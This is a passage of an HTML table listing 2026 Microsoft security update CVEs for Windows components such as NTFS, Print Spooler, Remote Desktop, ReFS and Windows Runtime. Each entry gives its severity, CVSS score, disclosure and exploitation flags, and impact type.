  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
